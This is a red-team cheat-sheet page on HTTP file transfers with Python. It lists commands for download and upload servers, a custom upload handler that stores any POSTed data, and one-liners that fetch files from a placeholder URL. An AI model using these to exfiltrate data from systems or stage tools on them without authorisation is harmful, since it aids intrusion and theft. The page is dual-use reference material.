Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / FILE TRANSFERS / HTTP

python

Servers:


## Download Server
python3 -m http.server

python2 -m SimpleHTTPServer

## Upload Server
python3 -m uploadserver 443 --server-certificate server.pem


# Custom Upload Server
from http.server import BaseHTTPRequestHandler, HTTPServer
import uuid

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))

        with open(str(uuid.uuid4()), "wb") as f:
            f.write(self.rfile.read(length))

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()

Downloads:


# Python2
python2.7 -c 'import urllib;urllib.urlretrieve("https://LINK","OUT")'

# Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://LINK","OUT")'